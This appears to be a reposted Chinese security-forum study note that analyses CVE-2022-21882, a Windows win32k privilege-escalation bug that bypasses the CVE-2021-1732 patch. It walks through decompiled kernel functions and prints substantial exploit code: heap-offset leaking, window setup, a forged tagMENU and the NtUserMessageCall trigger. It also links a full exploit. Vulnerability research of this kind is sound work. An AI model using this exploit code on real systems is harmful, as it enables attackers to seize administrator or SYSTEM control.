CVE-2022-21882提权漏洞学习笔记

CVE-2022-21882提权漏洞学习笔记
2022-9-25 18:1:26 Author: 看雪学苑(查看原文) 阅读量:20 收藏

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看雪论坛作者ID：1900

一
前言

1.漏洞描述

该漏洞的成因及利用基本上和CVE-2021-1732一样，可以认为该漏洞是在对CVE-2021-1732漏洞进行补丁之后，绕过该补丁达成漏洞利用。在对CVE-2021-1732补丁后，在xxxCreateWindowEx函数调用过程中，会在调用xxxClientAllocWindowClassExtraBytes申请扩展内存后，会对窗口对象的偏移0x128处的pExtraBytes进行验证，以此来验证是否在执行用户层函数时被修改。然而，该补丁仅针对xxxCreateWindowEx函数，在后面的Windows版本中，出现了新的函数会调用xxxClientAllocWindowClassExtraBytes函数，而这些函数没有对pExtraBytes进行验证，导致可以通过这些新函数来实现对窗口对象偏移0xE8的Flags以及0x128的pExtraBytes进行修改。

2.实验环境

操作系统：Win10 x64 21H2 专业版
编译器：Visual Studio 2017
调试器：IDA Pro, WinDbg

二
漏洞分析

1.CVE-2021-1732补丁分析

在对CVE-2021-1732进行补丁之后，xxxCreateWindowEx函数会在申请扩展内存之后，会调用tagWND::RedirectedFieldpExtraBytes::operator函数来对窗口对象进行验证，如果该函数返回1，则函数接下来就会释放窗口对象，然后直接退出函数，而不执行下面的对pExtraBytes成员的赋值：

__int64 __fastcall xxxCreateWindowEx(int a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int a6, unsigned int a7, unsigned int a8, unsigned int a9, __int64 a10, __int64 a11, __int64 a12, __int64 a13, unsigned int a14, int a15, int a16, __int64 a17){  cbwndExtra = *(unsigned int *)(*((_QWORD *)tagWND + 5) + 0xC8i64);  if ( !(_DWORD)cbwndExtra )    goto LABEL_211;  pBuffer = xxxClientAllocWindowClassExtraBytes(cbwndExtra);        // 申请扩展内存  v355 = pBuffer;  if ( !pBuffer )  {    v273 = 2;    if ( *((_DWORD *)tagWND + 2) != 1 )      goto LABEL_538;    goto LABEL_197;  }
  // 对窗口对象进行验证  if ( (unsigned int)IsWindowBeingDestroyed((__int64)tagWND)    || (*(_BYTE *)(_HMPheFromObject(v95) + 0x19) & 1) != 0    || (zero = 0i64, tagWND::RedirectedFieldpExtraBytes::operator!=<unsigned __int64>((__int64)tagWND + 0x140, &zero)) )  {    xxxFreeWindow(tagWND);                                              // 释放窗口    if ( v113 )      goto LABEL_553;    goto LABEL_37;                                                      // 退出函数  }
  *(_QWORD *)(tagWNDK + 0x128) = pBuffer;                               // 为pExtraBytes成员赋值}

xxxCreateWindowEx调用tagWND::RedirectedFieldpExtraBytes::operator验证函数的时候，传入的是tagWND + 0x140和值为0的zero这两个参数，而验证函数代码则如下，所以该函数就是在验证*(*(tagWND + 0x140 - 0x118) + 0x128) = *(*(tagWND + 0x28) + 0x128)是否不等于NULL，就是在验证pExtraBytes是否已经被写入，因为在xxxCreateWindowEx函数会在验证通过之后才为pExtraBytes成员赋值，如果验证时候该值已经不为NULL，就说明在用户层函数被劫持了：

然而，该补丁是打在xxxCreateWindowEx函数中，函数xxxClientAllocWindowClassExtraBytes并没有任何变化，该补丁可以在原来的系统中起到保护作用。可是在之后的系统中，增加了不同的函数可以调用xxxClientAllocWindowClassExtraBytes，其中就包括了xxxSwitchWndProc。因此可以通过该函数来实现对窗口对象的Flags和pExtraBytes成员进行修改，最终达成利用：

2.xxxSwitchWndProc函数分析

在xxxSwitchWndProc函数中，会判断窗口对象是否存在扩展内存，如果存在扩展内存，则会调用xxxClientAllocWindowClassExtraBytes函数来申请内存。随后，函数会重新为pExtraBytes成员进行赋值，并调用xxxClientFreeWindowClassExtraBytes函数将原来pExtraBytes指向的内存释放掉。因此，可以通过xxxSwitchWndProc函数来实现xxxClientAllocWindowClassExtraBytes函数的调用，并通过劫持相应的用户层函数，可以实现对pExtraBytes的修改：

三
漏洞利用

1.xxxSwitchWndProc函数的调用

通过交叉引用可以看到，xxxSwitchWndProc函数由xxxWrapSwitchWndProc函数调用的。

xxxSwitchWndProc函数则由NtUserMessageCall函数开始一步步调用到，该函数的定义如下：

typedef NTSTATUS (__fastcall *lpfnNtUserMessageCall)(HWND hWnd,                                                      UINT msg,                                                      WPARAM wParam,                                                      LPARAM lParam,                                                      ULONG_PTR ResultInfo,                                                      DWORD dwType,                                                      BOOL bAnsi);

当msg小于0x400的时候，将会根据msg，从MessageTable数组中取出相应的下标，在使用该下标从gapfnMessageCall数组中找到要执行的函数：

当msg为WM_CREATE(0x1)的时候，从MessageTable中取出的下标将为4：

gapfnMessageCall数组中，下标为4对应的函数为NtUserfnOUTSTRING：

NtUserfnOUTSTRING函数会将(dwType + 6) & 0x1F得到的下标从mpFnidPfn数组中取出要执行的函数：

mpFnidPfn数组在InitFunctionTables函数中被初始化，其中下标为6的元素就被初始化为xxxWrapSwitchWndProc函数。因此，当参数dwType为0的时候，NtUserfnOutSTRING函数就会调用xxxWrapSwitchWndProc函数：

2.利用过程

此时，对tagWND->pExtraBytes以及tagWND->Flags成员的修改，是通过调用NtUserMessageCall，利用该函数会调用xxxClientAllocClassExtraBytes来实现修改的。所以，此时不需要通过申请大量窗口，并释放掉其他部分窗口的方式来找到触发漏洞的窗口。所以，此时只需要创建两个用来实现任意地址读写以及触发漏洞的窗口：

BOOL Init_CVE_2022_21882(){    BOOL bRet = TRUE;    DWORD i = 0;
    lHMValidateHandle HMValidateHandle = NULL;
    HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();    if (!HMValidateHandle)    {        bRet = FALSE;        goto exit;    }
    HMODULE hNtDll = NULL, hWin32Dll = NULL;
    hNtDll = LoadLibrary("ntdll.dll");    hWin32Dll = LoadLibrary("win32u.dll");
    if (!hNtDll || !hWin32Dll)    {        bRet = FALSE;        ShowError("LoadLibrary", GetLastError());        goto exit;    }
    fnNtCallbackReturn = (lpfnNtCallbackReturn)GetProcAddress(hNtDll, "NtCallbackReturn");    fnNtUserConsoleControl = (lpfnNtUserConsoleControl)GetProcAddress(hWin32Dll, "NtUserConsoleControl");    fnNtUserMessageCall = (lpfnNtUserMessageCall)GetProcAddress(hWin32Dll, "NtUserMessageCall");
    if (!fnNtCallbackReturn || !fnNtUserConsoleControl || !fnNtUserMessageCall)    {        bRet = FALSE;        ShowError("GetProcAddress", GetLastError());        goto exit;    }
    HINSTANCE handle = NULL;
    handle = GetModuleHandle(NULL);    if (!handle)    {        bRet = FALSE;        ShowError("GetModuleHandle", GetLastError());        goto exit;    }
    WNDCLASSEX wndClass = { 0 };    PCHAR pClassName = "leak";
    wndClass.cbWndExtra = 0x20;    wndClass.cbSize = sizeof(wndClass);    wndClass.style = CS_VREDRAW | CS_HREDRAW;    wndClass.hInstance = handle;    wndClass.lpfnWndProc = DefWindowProc;    wndClass.lpszClassName = pClassName;
    if (!RegisterClassEx(&wndClass))    {        bRet = FALSE;        ShowError("RegisterClassEx", GetLastError());        goto exit;    }
    HMENU hMenu = NULL, hHelpMenu = NULL;    HWND hWnd = NULL;
    for (i = 0; i < 2; i++)    {        if (i == 1)        {            // 从第1个tagWND开始将带有tagMENU对象            hMenu = CreateMenu();            hHelpMenu = CreateMenu();            if (!hMenu || !hHelpMenu)            {                bRet = FALSE;                ShowError("CreateMenu", GetLastError());                goto exit;            }
            if (!AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")) &&                !AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help")))            {                bRet = FALSE;                ShowError("AppendMenu", GetLastError());                goto exit;            }        }
        hWnd = CreateWindowEx(WS_EX_NOACTIVATE,                              pClassName,                              NULL,                              WS_DISABLED,                              0, 0, 0, 0,                              NULL,                              hMenu,                              handle,                              NULL);        if (!hWnd) continue;
        g_hWnd[i] = hWnd;        g_pWnd[i] = (ULONG64)HMValidateHandle(hWnd, TYPE_WINDOW);
        if (i == 0)        {            g_qwKernelHeapOffset0 = *(PQWORD)(g_pWnd[i] + 8);            BYTE bInfo[0x10] = { 0 };            *(HWND *)bInfo = g_hWnd[0];            fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));
            g_qwWndOffset = *(PQWORD)(g_pWnd[i] + g_ExtraBytes_offset);        }    }
    g_qwKernelHeapOffset1 = *(PQWORD)(g_pWnd[1] + 8);
    if (g_qwWndOffset > g_qwKernelHeapOffset1)    {        bRet = FALSE;        printf("g_pWnd[0] offset is invalid!\n");        goto exit;    }
    g_qwWndOffset = g_qwKernelHeapOffset1 - g_qwWndOffset;
    PCHAR pTriggerName = "Trigger";    WNDCLASSEX wc = { 0 };
    wc.cbSize = sizeof(wc);    wc.lpfnWndProc = DefWindowProc;    wc.style = CS_VREDRAW | CS_HREDRAW;    wc.cbWndExtra = g_dwWndExtra;         // 指定特定的大小    wc.hInstance = handle;    wc.lpszClassName = pTriggerName;
    if (!RegisterClassEx(&wc))    {        bRet = FALSE;        ShowError("RegisterClassEx", GetLastError());        goto exit;    }
    g_hTriggerWnd = CreateWindowEx(WS_EX_NOACTIVATE,                                   pTriggerName,                                   NULL,                                   WS_DISABLED,                                   0, 0, 0, 0,                                   NULL,                                   NULL,                                   handle,                                   NULL);
    if (!g_hTriggerWnd)    {        bRet = FALSE;        ShowError("CreateWindowEx", GetLastError());        goto exit;    }
    // 伪造tagMENU    HANDLE hProcHeap = NULL;
    hProcHeap = GetProcessHeap();    if (!hProcHeap)    {        bRet = FALSE;        ShowError("GetProcessHeap", GetLastError());        goto exit;    }
    DWORD dwHeapFlags = HEAP_ZERO_MEMORY;    g_qwMenu = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0xA0);    if (!g_qwMenu)    {        bRet = FALSE;        ShowError("GetProcessHeap", GetLastError());        goto exit;    }
    *(PQWORD)(g_qwMenu + 0x98) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x20);    *(PQWORD)(*(PQWORD)(g_qwMenu + 0x98)) = g_qwMenu;
    *(PQWORD)(g_qwMenu + 0x28) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x200);    *(PQWORD)(*(PQWORD)(g_qwMenu + 0x28) + 0x2C) = 1;    *(PQWORD)(g_qwMenu + 0x58) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x8);    *(PDWORD)(g_qwMenu + 0x40) = 1;    *(PDWORD)(g_qwMenu + 0x44) = 2;
exit:    return bRet;}

接下来就可以通过NtUserMessageCall函数来调用xxxClientAllocWindowClassExtraBytes，在相应的用户层函数中，将会修改tagWND的Flags和pExtraBytes成员，之后就可以通过SetWindowLongPtr将tagWND0的cbwndExtra修改为0xFFFFFFFF：

fnNtUserMessageCall(g_hTriggerWnd, WM_CREATE, 0, 0, NULL, 0, FALSE);
// 将g_hWnd[0]的cbwndExtra设为0xFFFFFFFFif (!SetWindowLongPtr(g_hTriggerWnd, g_cbWndExtra_offset + 0x10, 0xFFFFFFFF) &&    GetLastError() != 0){    bRet = FALSE;    ShowError("SetWindowLongPtr", GetLastError());    goto exit;}

在调用SetWindowLongPtr函数前后下断点，就可以看到，tagWND0的cbwndExtra被成功修改为0xFFFFFFFF，接下去的任意地址读写的实现就和CVE-2021-1732是一样的：

四
运行结果

完整代码保存在：https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2022-21882.cpp。编译运行就可以成功提权：

看雪ID：1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创，转载请注明来自看雪社区

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文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458471430&idx=1&sn=6a47d0c5c8f3f6204548e80977ecd059&chksm=b18e7c8c86f9f59a88d9b8e83c8297e0ef65034a73436998ab835531baadaa51f3d630793b95#rd
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